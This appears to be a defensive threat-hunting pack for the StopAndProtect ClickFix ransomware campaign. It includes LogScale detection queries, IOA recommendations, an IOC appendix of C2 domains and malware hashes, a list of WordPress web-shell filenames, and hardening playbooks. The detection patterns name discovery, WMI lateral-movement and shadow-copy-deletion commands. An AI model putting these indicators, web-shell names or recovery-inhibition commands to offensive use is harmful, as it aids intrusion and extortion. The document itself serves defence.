// HUNT: Network-share and removable-media discovery consistent with the NetworkShareScanner SMB/USB worm module // MITRE: T1135, T1120, T1039 // CONF: medium FP: medium COST: low | REQUIRES: ProcessRollup2 // FALSE POSITIVES: IT asset-management scripts, legitimate net view/net use usage by helpdesk, backup software enumerating shares // TUNING: correlate with Q1/Q3 process lineage (same host, same session) before treating as high-confidence; exclude known IT/backup service accounts #event_simpleName=ProcessRollup2 | CommandLine=/(net +view|net +use|Get-SmbShare|wmic +logicaldisk)/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
Looks for: WmiPrvSE.exe spawning a script/command interpreter — the VBS spreader's documented lateral-movement mechanism (remote process creation via WMI). FP: legitimate RMM/systems-management tooling (SCCM, monitoring agents) also drives WmiPrvSE-spawned children.
// HUNT: WmiPrvSE spawning a command/script interpreter — VBS spreader lateral movement via remote process creation over WMI // MITRE: T1047, T1091 // CONF: medium FP: medium COST: low | REQUIRES: ProcessRollup2 // FALSE POSITIVES: legitimate RMM/systems-management tooling (SCCM, monitoring agents) also drive WmiPrvSE-spawned children // TUNING: allowlist your known RMM/monitoring agent ImageFileName values once baselined #event_simpleName=ProcessRollup2 | ParentBaseFileName=/^wmiprvse\.exe$/i | in(FileName, values=["cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe"], ignoreCase=true) | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
Looks for: a file write matching one of the named StopAndProtect WordPress artifacts (hidden MU-plugin installer, web shell, verify-plugin components, marker file). Only fires on a Linux/web-server host that carries a Falcon sensor — most managed WordPress hosting does not. FP: none identified — these filenames are attacker-specific.
// HUNT: File write of a known StopAndProtect WordPress attacker-artifact filename (web shell / hidden uploader / verify-plugin components) // MITRE: T1505.003, T1190 // CONF: high FP: low COST: low | REQUIRES: Linux sensor on the web-server host // FALSE POSITIVES: none identified // ⚠ validate in tenant: event name below is not in the standard Falcon file-event set (PeFileWritten/ElfFileWritten/ZipFileWritten/DocumentFileWritten/JarFileWritten cover typed writes only — none is a generic script/text write). Confirm the correct file-write event for your Linux sensor version in LogScale's field picker before relying on this query. #event_simpleName=/^(FileCreateInfo|NewScriptWritten)$/ | TargetFileName=/(dwnen\.php|mu-uploader-installer\.php|wp-sec\.php|verify\.php|store\.php|proxy\.php|wp-uploading\.php|wp-delete\.php|wp-cssv\.php|wp-verifyup\.php|stored_url\.txt|activator\.php)$/i | table([@timestamp, ComputerName, UserName, TargetFileName, ContextBaseFileName, SHA256HashData], limit=200)
CrowdStrike Custom IOA Recommendations
Promote the exact-match, low-FP queries to real-time Custom IOA rules. Keep the behavioral/aggregation queries as scheduled hunt searches — Q7's aggregation can't be expressed as a single-event IOA, and Q1/Q4/Q9/Q10 need an FP-tuning pass against your fleet before running unattended.
| IOA Name | Source Query | Pattern | Exclusions | Deployment Path |
|---|---|---|---|---|
| StopAndProtect — vcapcha.ps1 Reference | Q3 | Process creation, CommandLine or FileName matches vcapcha(\.ps1)? | None required | Custom IOA rule group, Severity: Critical, Action: Kill process + Notify |
| StopAndProtect — Known Stage Hash Execution | Q5 | Process creation or file write, SHA256HashData in the 21-value list | None required | Custom IOA rule group, Severity: Critical, Action: Kill process + Network-contain + Notify |
| StopAndProtect — Base C2 DNS Resolution | Q6 | DNS request, DomainName in the five confirmed C2 domains | None required | Custom IOA rule group, Severity: High, Action: Notify (pair with a DNS-layer block at the resolver for prevention, not just detection) |
| StopAndProtect — Shadow-Copy Deletion | Q8 | Process creation, CommandLine matches vssadmin/wmic-shadowcopy/bcdedit/wbadmin recovery-inhibition pattern | Known backup-service accounts, once baselined | Custom IOA rule group, Severity: Critical, Action: Kill process + Notify (this is the last chance to stop encryption before it starts) |
| StopAndProtect — WordPress Web-Shell/Backdoor Write | Q11 | File write, TargetFileName matches the named attacker PHP artifact list | None required | Custom IOA rule group (Linux sensor group on web-server hosts only), Severity: Critical, Action: Quarantine file + Notify |
Q1 (ClickFix explorer.exe→PowerShell), Q4 (downloader chain), Q9 (SMB/USB discovery), and Q10 (WMI lateral movement) stay Investigate-only until FP-tuned against your fleet's known admin, RMM, and backup tooling. Q2 (RunMRU) and Q7 (mass file-touch aggregation) stay scheduled searches — registry-forensic recovery and cross-event aggregation are better suited to periodic hunting than real-time IOA evaluation.
Machine-Readable IOC Appendix
type,value,action,severity,expiration,description,tags domain,v-k.com.ua,detect,high,2027-02-21,StopAndProtect compromised-WordPress base C2,campaign:StopAndProtect domain,www.lapellelaser.pl,detect,high,2027-02-21,StopAndProtect compromised-WordPress base C2,campaign:StopAndProtect domain,www.parsrulman.com,detect,high,2027-02-21,StopAndProtect compromised-WordPress base C2,campaign:StopAndProtect domain,mectcalcutta.com,detect,high,2027-02-21,StopAndProtect compromised-WordPress base C2,campaign:StopAndProtect domain,discherniation.com,detect,high,2027-02-21,StopAndProtect compromised-WordPress base C2,campaign:StopAndProtect sha256,cab7f141fd6f2c58055b3731ef6a64b8a2d4d88a974770b047da19c0904322f0,detect,critical,2027-02-21,PowerShell script stage 1,campaign:StopAndProtect sha256,cc8aa2bd7bf74ca0bbc5cb03a7b18eae73094b450d11654528c05685fe12e0c9,detect,critical,2027-02-21,PowerShell script stage 2,campaign:StopAndProtect sha256,99bcb531d6dd3c93d3f28f03d6e4659c865a4ffbd2fb514e809017f3446a940b,detect,critical,2027-02-21,.NET stage 1 downloader variant 1,campaign:StopAndProtect sha256,8337bf29100a5871b1275227006dc2a43b21b751e5ce7e2032364fd78af59ac5,detect,critical,2027-02-21,.NET stage 1 downloader variant 2,campaign:StopAndProtect sha256,4dee2fe98d4da75ffb259c03b50202212dafc85691429a28641a8068eddea504,detect,critical,2027-02-21,.NET stage 1 downloader variant 3,campaign:StopAndProtect sha256,9765b1342cc7eb982a73bb1f94c6c500b63dc817073b76ea926c1097078d3527,detect,critical,2027-02-21,.NET stage 2 downloader and loader variant 1,campaign:StopAndProtect sha256,7d3604d0728b242c72bd144b8661ebf63c1042a4f5dd441bc8c8507c701df20c,detect,critical,2027-02-21,.NET stage 2 downloader and loader variant 2,campaign:StopAndProtect sha256,976cfa57e1efacbe517b7e3441e9473d275ec1d9ad8ab69ddf8ae3a966aaa153,detect,critical,2027-02-21,.NET stage 2 downloader and loader variant 3,campaign:StopAndProtect sha256,b79b9b027f76579555069a7506d946648a8cb3126c0dda837dc9fee0e5c79489,detect,critical,2027-02-21,SilentEncryptor ransomware variant 1,campaign:StopAndProtect sha256,65550f6d0ffec8421f703cdc7273d9c0563b3d480fe6702bad294a18afe72143,detect,critical,2027-02-21,SilentEncryptor ransomware variant 2,campaign:StopAndProtect sha256,0080d0dd72eda4850a02e51c0e5c6f768423dfe970cafae2ab52ceee75972b40,detect,critical,2027-02-21,SilentEncryptor ransomware variant 3,campaign:StopAndProtect sha256,8d1e23630a6695fa9c793d73832f59436c98bba30ed81c16d01b549bd17feab4,detect,critical,2027-02-21,NetworkShareScanner SMB/USB worm variant 1,campaign:StopAndProtect sha256,10babb15e08f9fbd72cce11713a273b971c910dd5bdb989a3f6ff4d9c8e372c0,detect,critical,2027-02-21,NetworkShareScanner SMB/USB worm variant 2,campaign:StopAndProtect sha256,f042240c3de00c46dee625916bf246b7e87481e4081a6a97208b091409766e41,detect,critical,2027-02-21,NetworkShareScanner SMB/USB worm variant 3,campaign:StopAndProtect sha256,11a635d70444605ede1de0aa227a9fd7cfa4554e75bea93ce18b639ca571a42e,detect,high,2027-02-21,LockScreen variant 1,campaign:StopAndProtect sha256,2adbb2c206be7f23bf77f8f50d1ac0f809511c0b4591421931f81a6eaa42c68c,detect,high,2027-02-21,LockScreen variant 2,campaign:StopAndProtect sha256,38602b76f6c65644b01fa4d81708251c159a883253cda8876396dc7212324ab9,detect,high,2027-02-21,LockScreen variant 3,campaign:StopAndProtect sha256,23cbabfe3ca3a7f1eb365f772d6a4ed8095cb8f7755622cc82e804478259dc70,detect,critical,2027-02-21,SilentDataCollector credential/document stealer (hash corrected during provenance verification),campaign:StopAndProtect sha256,b3dff910b350ace27d64cbd79405cb154a1967e366d7b88170c3e8303b1d08ad,detect,high,2027-02-21,VBS spreader,campaign:StopAndProtect sha256,3ed8f2cc8da4853fd770ff38f0cbce6d9d4a84e75a828fc0cec3e3ec60db94f9,detect,medium,2027-02-21,SimpleChatProxy variant 1,campaign:StopAndProtect sha256,3ba161ca7b8dcf389ec3236c9ddfb943e9d1766181b1b81a227649cad46132a8,detect,medium,2027-02-21,SimpleChatProxy variant 2,campaign:StopAndProtect filename,vcapcha.ps1,hunt,high,2026-11-21,ClickFix entry script fetched via IEX/DownloadString,campaign:StopAndProtect
{
"campaign": "StopAndProtect",
"disclosed": "2026-08-18",
"primary_source": "https://research.checkpoint.com/2026/thousands-of-hacked-wordpress-sites-one-operation-unmasking-stopandprotect/",
"c2_domains": [
"v-k.com.ua", "www.lapellelaser.pl", "www.parsrulman.com",
"mectcalcutta.com", "discherniation.com"
],
"entry_script": "vcapcha.ps1",
"hashes": {
"powershell_stage1": ["cab7f141fd6f2c58055b3731ef6a64b8a2d4d88a974770b047da19c0904322f0"],
"powershell_stage2": ["cc8aa2bd7bf74ca0bbc5cb03a7b18eae73094b450d11654528c05685fe12e0c9"],
"dotnet_stage1_downloader": [
"99bcb531d6dd3c93d3f28f03d6e4659c865a4ffbd2fb514e809017f3446a940b",
"8337bf29100a5871b1275227006dc2a43b21b751e5ce7e2032364fd78af59ac5",
"4dee2fe98d4da75ffb259c03b50202212dafc85691429a28641a8068eddea504"
],
"dotnet_stage2_loader": [
"9765b1342cc7eb982a73bb1f94c6c500b63dc817073b76ea926c1097078d3527",
"7d3604d0728b242c72bd144b8661ebf63c1042a4f5dd441bc8c8507c701df20c",
"976cfa57e1efacbe517b7e3441e9473d275ec1d9ad8ab69ddf8ae3a966aaa153"
],
"silent_encryptor": [
"b79b9b027f76579555069a7506d946648a8cb3126c0dda837dc9fee0e5c79489",
"65550f6d0ffec8421f703cdc7273d9c0563b3d480fe6702bad294a18afe72143",
"0080d0dd72eda4850a02e51c0e5c6f768423dfe970cafae2ab52ceee75972b40"
],
"network_share_scanner": [
"8d1e23630a6695fa9c793d73832f59436c98bba30ed81c16d01b549bd17feab4",
"10babb15e08f9fbd72cce11713a273b971c910dd5bdb989a3f6ff4d9c8e372c0",
"f042240c3de00c46dee625916bf246b7e87481e4081a6a97208b091409766e41"
],
"lockscreen": [
"11a635d70444605ede1de0aa227a9fd7cfa4554e75bea93ce18b639ca571a42e",
"2adbb2c206be7f23bf77f8f50d1ac0f809511c0b4591421931f81a6eaa42c68c",
"38602b76f6c65644b01fa4d81708251c159a883253cda8876396dc7212324ab9"
],
"silent_data_collector": ["23cbabfe3ca3a7f1eb365f772d6a4ed8095cb8f7755622cc82e804478259dc70"],
"vbs_spreader": ["b3dff910b350ace27d64cbd79405cb154a1967e366d7b88170c3e8303b1d08ad"],
"simple_chat_proxy": [
"3ed8f2cc8da4853fd770ff38f0cbce6d9d4a84e75a828fc0cec3e3ec60db94f9",
"3ba161ca7b8dcf389ec3236c9ddfb943e9d1766181b1b81a227649cad46132a8"
]
},
"wordpress_artifacts": [
"dwnen.php", "mu-uploader-installer.php", "wp-content/mu-plugins/wp-sec.php",
"verify.php", "store.php", "proxy.php", "stored_url.txt",
"wp-uploading.php", "wp-delete.php", "wp-cssv.php", "wp-verifyup.php", "activator.php"
]
}
v-k.com.ua www.lapellelaser.pl www.parsrulman.com mectcalcutta.com discherniation.com
# PowerShell Stage 1 cab7f141fd6f2c58055b3731ef6a64b8a2d4d88a974770b047da19c0904322f0 # PowerShell Stage 2 cc8aa2bd7bf74ca0bbc5cb03a7b18eae73094b450d11654528c05685fe12e0c9 # .NET Stage 1 Downloader 99bcb531d6dd3c93d3f28f03d6e4659c865a4ffbd2fb514e809017f3446a940b 8337bf29100a5871b1275227006dc2a43b21b751e5ce7e2032364fd78af59ac5 4dee2fe98d4da75ffb259c03b50202212dafc85691429a28641a8068eddea504 # .NET Stage 2 Downloader & Loader 9765b1342cc7eb982a73bb1f94c6c500b63dc817073b76ea926c1097078d3527 7d3604d0728b242c72bd144b8661ebf63c1042a4f5dd441bc8c8507c701df20c 976cfa57e1efacbe517b7e3441e9473d275ec1d9ad8ab69ddf8ae3a966aaa153 # SilentEncryptor (ransomware) b79b9b027f76579555069a7506d946648a8cb3126c0dda837dc9fee0e5c79489 65550f6d0ffec8421f703cdc7273d9c0563b3d480fe6702bad294a18afe72143 0080d0dd72eda4850a02e51c0e5c6f768423dfe970cafae2ab52ceee75972b40 # NetworkShareScanner (SMB/USB worm) 8d1e23630a6695fa9c793d73832f59436c98bba30ed81c16d01b549bd17feab4 10babb15e08f9fbd72cce11713a273b971c910dd5bdb989a3f6ff4d9c8e372c0 f042240c3de00c46dee625916bf246b7e87481e4081a6a97208b091409766e41 # LockScreen 11a635d70444605ede1de0aa227a9fd7cfa4554e75bea93ce18b639ca571a42e 2adbb2c206be7f23bf77f8f50d1ac0f809511c0b4591421931f81a6eaa42c68c 38602b76f6c65644b01fa4d81708251c159a883253cda8876396dc7212324ab9 # SilentDataCollector (credential/document stealer) 23cbabfe3ca3a7f1eb365f772d6a4ed8095cb8f7755622cc82e804478259dc70 # VBS Spreader b3dff910b350ace27d64cbd79405cb154a1967e366d7b88170c3e8303b1d08ad # SimpleChatProxy 3ed8f2cc8da4853fd770ff38f0cbce6d9d4a84e75a828fc0cec3e3ec60db94f9 3ba161ca7b8dcf389ec3236c9ddfb943e9d1766181b1b81a227649cad46132a8
# Attacker-side endpoints observed on compromised WordPress base-C2 hosts dwnen.php -- file-listing/download endpoint mu-uploader-installer.php -- installs the hidden MU-plugin uploader wp-content/mu-plugins/wp-sec.php -- hidden must-use plugin (loads automatically) REST endpoint: wp-json/wp-sec/v1/upload verify.php -- fake-CAPTCHA plugin; drops store.php/proxy.php/stored_url.txt store.php -- edits stored_url.txt proxy.php -- fetches remote log file stored_url.txt -- marker file: fake-CAPTCHA base URL, or "off" when disabled wp-uploading.php -- secure upload (overwrite + auto-create folder) wp-delete.php -- secure file deletion wp-cssv.php -- single-file PHP web shell (Secure File Manager) wp-verifyup.php -- file explorer with remote fetch + multi-server fallback activator.php -- plugin-activation helper, self-deletes after use # Leaked attacker developer-machine path artifacts (context/attribution only, not endpoint-hunt-able) C:\Users\marks\source\ project dirs: 0a_botnet, fake-captcha prefix string: G-a_new_hack-0a_botnet-fake-capcha-a-master-4-a-updater-plugin-send-new-plugin
Detection Validation Gates
| Gate | Requirement | Status / Notes |
|---|---|---|
| Telemetry ready | ProcessRollup2/SyntheticProcessRollup2, NetworkConnectIP4, DnsRequest, RegGenericValueUpdate/AsepValueUpdate, RansomwareOpenFile, NewExecutableWritten/PeFileWritten flowing from endpoints with a Falcon sensor | Confirm sensor coverage before relying on Q1–Q10; Q11 additionally requires a Linux sensor on any self-hosted WordPress infrastructure (Section 5 gap) |
| Benign baseline | Run Q1, Q4, Q7, Q9, and Q10 against 7–30 days of history before promoting any to an alerting IOA — all five carry medium FP by design | Not yet run in a live tenant; field names validated against the reference data model, not fired live — validate on first deployment |
| Positive test | Confirm each query returns the expected shape against a synthetic/lab event before trusting a zero-hit result as "clean" | Recommended: replay the published ClickFix command pattern (Section 3) against an isolated lab VM to generate a known-positive event for Q1–Q3 |
| Promotion criteria | Only Q3, Q5, Q6, Q8, and Q11 are promoted to Custom IOA (Section 9) — exact-match indicators, single-event pattern, low FP | Q1, Q4, Q9, Q10 remain scheduled hunt searches pending fleet-specific tuning; Q2 and Q7 remain scheduled searches by design (forensic recovery / aggregation) |
Hardening — Tiered
This is a social-engineering attack with a multi-payload back end — there is no single patch. Hardening here targets the delivery mechanism (Run-dialog paste execution), the WordPress compromise vector for any organization-hosted sites, and the downstream ransomware/exfiltration impact.
Disable the Windows Run dialog and Win+R shortcut via GPO for standard users. Set HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer DWORD values NoRun=1 and NoWinKeys=1 for non-administrative user groups. This is the single highest-leverage control against ClickFix specifically, since the lure depends entirely on the victim reaching the Run dialog. Authority: documented community/industry ClickFix mitigation guidance (ClickFix Wiki mitigations page; Medium — "Mitigating ClickFix Attacks with Group Policy Enforcement"). Verify: Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' shows NoRun=1 on a managed endpoint; Win+R is confirmed non-functional for a standard-user test account.
Enable the two directly-relevant Microsoft Defender Attack Surface Reduction rules in Block mode. "Block execution of potentially obfuscated scripts" (GUID 5beb7efe-fd9a-4556-801d-275e5ffc04cc) and "Block process creations originating from PSExec and WMI commands" (GUID d1e49aac-8f56-4280-b9ba-993a6d77406c, covers the VBS spreader's WMI lateral-movement path). Authority: Microsoft Learn — Attack surface reduction rules reference. Verify: Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids lists both GUIDs with action 1 (Block).
Block the five confirmed C2 domains at DNS/proxy. Add v-k.com.ua, www.lapellelaser.pl, www.parsrulman.com, mectcalcutta.com, discherniation.com to your DNS sinkhole/secure-web-gateway blocklist. Mapped to M1037 (Filter Network Traffic). Verify: a test resolution attempt against any of the five domains from a managed endpoint fails or resolves to the sinkhole address.
If your organization self-hosts WordPress: patch immediately and run the Section 7 artifact sweep. Update WordPress core and all plugins to current versions, and run the mu-plugins/web-shell filename sweep from Section 7 on every self-hosted site regardless of whether compromise is suspected. Authority: CIS Controls v8, Control 7 (Continuous Vulnerability Management); WordPress.org Hardening WordPress documentation. Verify: wp plugin list --update=available returns zero pending updates; the Section 7 sweep returns zero hits.
PowerShell logging and language-mode hardening. Enable Script Block Logging (event 4104), Module Logging, and where feasible Constrained Language Mode for standard users, plus AMSI integration — this raises the cost of the PowerShell Stage 1/2 chain even if the Run-dialog control is somehow bypassed. Mapped to M1038, M1042, M1047; CIS Microsoft Windows Benchmark — PowerShell logging & language-mode sections; Microsoft Security Baseline (SCT) — PowerShell policies. Verify: $ExecutionContext.SessionState.LanguageMode returns ConstrainedLanguage on a managed standard-user session; Script Block Logging events (4104) are present in the Windows Event Log.
User-awareness training specific to ClickFix / fake-CAPTCHA lures. Brief staff that no legitimate CAPTCHA or verification page ever asks them to open Win+R or a terminal and paste a command — this is a durable behavioral signal regardless of which site or payload the attacker uses next. ⚠ best-practice, no formal CIS/NIST line item specific to ClickFix training content; general awareness-training obligation is covered by CIS Controls v8, Control 14. Verify: phishing/social-engineering simulation program includes a ClickFix-style scenario with a measured click/paste rate.
File-integrity monitoring on WordPress mu-plugins and wp-content directories (self-hosted only). Monitor wp-content/mu-plugins/ and the plugin root for unexpected file creation — MU plugins load automatically with no admin-panel activation step, making them a favored persistence location. Authority: WordPress.org Hardening WordPress documentation; CIS Controls v8, Control 3 (Data Protection). Verify: a test file dropped into wp-content/mu-plugins/ outside the deployment pipeline triggers an alert within one scan interval.
Backup immutability and offline/air-gapped copies. Ensure backup infrastructure cannot be reached or deleted from a compromised endpoint (immutable/WORM storage or offline copies), directly countering the shadow-copy-deletion/recovery-inhibition behavior this pack hunts for in Q8. Mapped to M1053 (Data Backup); NIST SP 800-53 CP-9. Verify: a test deletion/modification attempt against the backup repository from a standard endpoint account fails.
Web-content filtering / browser isolation for high-risk categories. Deploy remote browser isolation or category-based content filtering that flags newly-registered or recently-compromised sites before the fake-CAPTCHA page ever renders, closing the browser-DOM gap documented in Section 5. ⚠ best-practice, no formal CIS benchmark line item for browser isolation specifically; aligns with CIS Controls v8, Control 9 (Email and Web Browser Protections). Verify: a test navigation to a known-malicious category site is blocked or isolated before page render.
Standardize on a managed/hosted WordPress platform with vendor-applied patching, or adopt automated core/plugin update policies, for any organization-run WordPress properties. The root cause across the ~2,000 compromised sites Check Point analyzed is outdated WordPress software — removing the maintenance burden from individual site owners removes the entry vector at scale. Authority: CIS Controls v8, Control 7; WordPress.org Hardening WordPress documentation. Verify: all organization-owned WordPress instances report auto-update enabled or are confirmed on a managed platform with a documented patch SLA.
Network segmentation to blunt SMB/USB worm and WMI lateral-movement spread. Restrict SMB (445) and WMI (135/RPC dynamic range) between workstation VLANs by default, limiting how far NetworkShareScanner and the VBS spreader can travel from a single ClickFix-infected host. Mapped to M1030 (Network Segmentation); CIS Controls v8, Control 12 (Network Infrastructure Management). Verify: a test SMB/WMI connection attempt between two workstation-VLAN hosts (neither a file server nor a management host) is blocked at the firewall/switch ACL.
Deployable Playbooks
Playbook 1 — Disable Win+R / Run dialog and enable the two ASR rules (Windows, GPO)
Prerequisites: Domain Admin or GPO-edit rights; a test OU to pilot the policy before fleet-wide rollout; Microsoft Defender for Endpoint / Defender AV in active mode for the ASR rules. Reboot required: No (policy refresh via `gpupdate /force` and a logoff/logon is sufficient). Rollback: Set NoRun and NoWinKeys back to 0 (or remove the GPO link) and set the two ASR rule GUIDs to Audit or Not Configured; changes apply on the next policy refresh with no other endpoint state affected. 1. Create or edit a GPO scoped to standard-user OUs (exclude IT/helpdesk/admin OUs where Run-dialog use is legitimate). 2. Under Computer Configuration > Preferences > Windows Settings > Registry, add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun = 1 (DWORD) and NoWinKeys = 1 (DWORD). 3. Under Microsoft Defender / Endpoint Security policy, set Attack Surface Reduction rules 5beb7efe-fd9a-4556-801d-275e5ffc04cc and d1e49aac-8f56-4280-b9ba-993a6d77406c to Block. Start in Audit mode for one week on the pilot OU if you have not previously baselined these rules. 4. Link the GPO to the pilot OU; run `gpupdate /force` on a test machine and confirm via `Get-ItemProperty` and `Get-MpPreference`. 5. Confirm Win+R no longer opens the Run dialog for a standard-user test account, and that admin/helpdesk OUs are unaffected. 6. Expand the GPO link to the full standard-user OU structure after a successful pilot week with no help-desk ticket spike.
Playbook 2 — DNS/proxy block on the five confirmed C2 domains (network)
Prerequisites: admin access to the organization's DNS sinkhole, secure web gateway, or firewall DNS-filtering policy. Reboot required: No. Rollback: Remove the five blocklist entries; no endpoint state is changed by this control. 1. Add v-k.com.ua, www.lapellelaser.pl, www.parsrulman.com, mectcalcutta.com, discherniation.com to the DNS sinkhole/SWG blocklist. 2. If your gateway supports category/reputation feeds, also flag the domains for the threat-intel feed update cycle so future infrastructure sharing the same hosting pattern is caught faster. 3. Validate: attempt DNS resolution of each domain from a managed test endpoint; confirm it fails closed or resolves to the sinkhole address. 4. Confirm no legitimate business traffic depends on any of the five domains (expected: none — they are compromised third-party WordPress sites) before considering the block permanent.
Playbook 3 — WordPress artifact sweep and remediation (self-hosted WordPress only)
Prerequisites: SSH or WP-CLI access to the WordPress host; a recent, verified-clean backup to restore from if compromise is confirmed. Reboot required: No (web-server process reload only, if PHP-FPM/Apache/Nginx config changes). Rollback: N/A for the sweep itself (read-only); if remediation actions are taken (file deletion, plugin removal), rollback is restoring the pre-remediation backup. 1. Run the Section 7 `find` command against the WordPress install root for the twelve named attacker filenames. 2. Run `ls -la wp-content/mu-plugins/` and manually review every file present — MU plugins have no admin-panel toggle, so an unrecognized file here is a strong compromise signal by itself. 3. If any artifact is found: take the site offline or place it in maintenance mode, preserve the artifact files and web-server access logs as evidence, then remove the artifacts and any unrecognized plugin/theme files. 4. Update WordPress core and all plugins to current versions (`wp core update`, `wp plugin update --all`). 5. Rotate all WordPress admin credentials and any API keys/tokens stored in the compromised install. 6. Restore from the last known-clean backup if the extent of the compromise (e.g. database-level tampering) cannot be fully characterized by file-level remediation alone. 7. Re-run the Section 7 sweep post-remediation; zero hits is the exit criterion.
Containment Runbook
| Phase | Actions | Owner | Evidence to Preserve |
|---|---|---|---|
| Isolate | Network-contain any host with a positive hit on Q1, Q3, Q4, Q5, Q6, Q7, or Q8. Treat the host as compromised, not just as having visited a bad site — by the time any of these queries fire, code has already executed with the logged-in user's privileges. | IR / SOC on-call | Falcon process tree, network-connection events, and RunMRU/registry snapshot for the affected time range; memory/disk image if policy requires |
| Eradicate | Kill any process matching Q1/Q3/Q5; remove any dropped payload matching the Section 4/10 hash list; if ransomware detonation is confirmed (Q7/Q8 positive), do not attempt in-place decryption — isolate and proceed to recovery from backup. For any organization-hosted WordPress site with a Q11 hit, run Playbook 3 in full. | IR / Endpoint Engineering | Before/after listing of dropped artifacts; hashes of any recovered payload binaries; copy of the RunMRU value for the confirmed pasted command |
| Recover | Rotate every credential reachable from the affected host: local/domain credentials, saved browser logins, any credentials SilentDataCollector may have had file-system access to. Restore encrypted files from backup — do not pay the ransom or rely on the actor-provided decryption path. Restore the host from a known-clean image where feasible given the multi-module payload set (worm module may have already spread). | IR + Identity owners | Credential-rotation log; list of hosts scanned for lateral-spread indicators (Q9/Q10) before being cleared |
| Post-incident | Confirm all validation gates (Section 11) are green on the remediated fleet. Deploy the Near-term and Strategic hardening tiers (Section 12), specifically the Run-dialog GPO and ASR rules if not already fleet-wide. File the incident against the specific hosts and, if applicable, the organization-hosted WordPress properties identified in remediation. | Security Engineering | Closure report referencing this pack's version (v0.1, 2026-08-21) and the specific hosts/sites remediated |
Detection Coverage Map
| Technique | Behavior | CQL | IOA | Coverage |
|---|---|---|---|---|
| T1204.004 | ClickFix — Run-dialog paste, explorer.exe parenting hidden/bypassed PowerShell | Q1, Q2, Q3 | vcapcha.ps1 Reference IOA (Q3) | Good |
| T1105 / T1027 | PowerShell-to-.NET downloader/loader chain detonation | Q4, Q5 | Known Stage Hash IOA (Q5) | Good |
| T1071.001 / T1102 | Base-C2 beaconing over compromised WordPress infrastructure | Q6 | Base C2 DNS Resolution IOA (Q6) | Partial — DNS-layer only, no resolved IPs published |
| T1486 | SilentEncryptor mass file encryption/rename | Q5 (hash), Q7 (volume spike) | Known Stage Hash IOA (Q5) | Good |
| T1490 | Shadow-copy deletion / recovery inhibition | Q8 | Shadow-Copy Deletion IOA (Q8) | Partial — generic ransomware pattern, not independently confirmed for SilentEncryptor |
| T1135 / T1120 / T1039 | NetworkShareScanner SMB/USB discovery and exfiltration staging | Q5 (hash), Q9 (behavioral proxy) | Known Stage Hash IOA (Q5) | Partial — no native USB-connect event; command-line proxy only |
| T1047 / T1091 | VBS spreader lateral movement via WMI and removable media | Q5 (hash), Q10 (WMI behavioral) | Known Stage Hash IOA (Q5) | Partial — WMI lateral movement well covered; removable-media replication has no native Falcon event |
| T1113 / T1056.001 / T1005 | SilentDataCollector screenshots, keylogging, file/document theft | Q5 (hash only) | Known Stage Hash IOA (Q5) | GAP — no dedicated Falcon behavioral event for screen-capture or keylogging activity; hash match is the only coverage |
| T1505.003 / T1190 | WordPress web-shell/backdoor persistence and unpatched-plugin entry | Q11 (org-hosted WordPress with Linux sensor only) | WordPress Web-Shell/Backdoor Write IOA (Q11) | GAP for externally-hosted/managed WordPress — covered only where the organization self-hosts on a Falcon-sensored Linux host; see Section 7 native sweep otherwise |
Two gaps are structural: browser-DOM-level fake-CAPTCHA rendering (Step 1 of the attack chain) is not endpoint-visible by design — no query in this pack can cover it, only upstream web/DNS filtering and user training can. SilentDataCollector's screen-capture and keylogging behaviors have no dedicated Falcon event in the current data-model reference, so coverage there is limited to the exact-hash match (Q5) rather than a behavioral detection. All validation gates in Section 11 apply to every query above before promotion from Investigate to alerting.
Hunt Summary Ticket
TITLE: StopAndProtect -- WordPress Botnet, ClickFix Ransomware & Data-Theft Operation
SEVERITY: Critical -- double-extortion ransomware + credential/document theft + self-propagating worm module;
6,000+ confirmed victim IPs across ~2,000 hijacked WordPress sites (Check Point Research, 2026-08-18)
SCOPE: Any Windows endpoint where a user pasted and ran a PowerShell command from a fake-CAPTCHA "ClickFix"
page on a compromised WordPress site. Also any organization-hosted WordPress site matching the
artifact list in Section 4/10/Q11.
HYPOTHESIS: Attacker operates a rotating pool of nearly 2,000 hijacked WordPress sites as C2/distribution
infrastructure. Victims are lured via a fake CAPTCHA into pasting a hidden, policy-bypassed
PowerShell one-liner into the Windows Run dialog, chaining through two PowerShell stages and two
.NET downloader/loader stages before dropping operator-selected payload modules (ransomware,
stealer, worm, lock-screen, spreader, chat proxy) on a per-victim basis.
QUERIES: Q1-Q11 (Section 8) -- ClickFix detonation and forensic residue, entry-script reference, downloader
chain, known-hash match (21 hashes), C2 DNS resolution, ransomware volume/recovery-inhibition
behavior, SMB/USB and WMI lateral-movement proxies, WordPress artifact write. IOA candidates:
Q3, Q5, Q6, Q8, Q11.
DO FIRST: 1) Run Q5 (known-hash match) and Q6 (C2 DNS) fleet-wide -- highest confidence, lowest cost.
2) Run the Section 7 RunMRU dump on any host flagged by user report or web-proxy logs as having
visited a suspicious CAPTCHA page, even if no process-level hit is found.
3) If your organization self-hosts WordPress, run the Section 7 artifact sweep today regardless
of any other finding -- an unpatched WordPress instance is the documented entry vector at scale.
FINDINGS: [Populate at hunt execution time -- no environment-specific findings in this template release.]
GAPS: No Falcon telemetry for browser-DOM-level CAPTCHA rendering (Step 1, not endpoint-visible by design),
SilentDataCollector's screen-capture/keylogging behavior (hash-match coverage only), or USB
device-connect events (command-line proxy only). Resolved IPs for the five C2 domains were not
published -- DNS-layer detection only, no IP-based blocking possible from current intel.
ACTIONS: Contain and investigate any host with a positive Q1/Q3/Q4/Q5/Q6/Q7/Q8 hit (Section 14). Deploy the
Run-dialog GPO and the two named ASR rules fleet-wide (Playbook 1) as the highest-leverage single
control against this specific delivery mechanism.
OWNER: HuntPack
VERSION: v0.1 -- 2026-08-21
Changelog
References
| Tier | Source | Used For | Access Date |
|---|---|---|---|
| 1 | Check Point Research — original disclosure | Full infection-chain narrative, complete hash table by stage, YARA rule, victim-IP statistics, WordPress backdoor/web-shell technical detail, ClickFix JavaScript excerpt, leaked attacker project-path artifacts | 2026-08-21 |
| 2 | The Hacker News | Corroboration of operation name, scale, and infection-chain summary | 2026-08-21 |
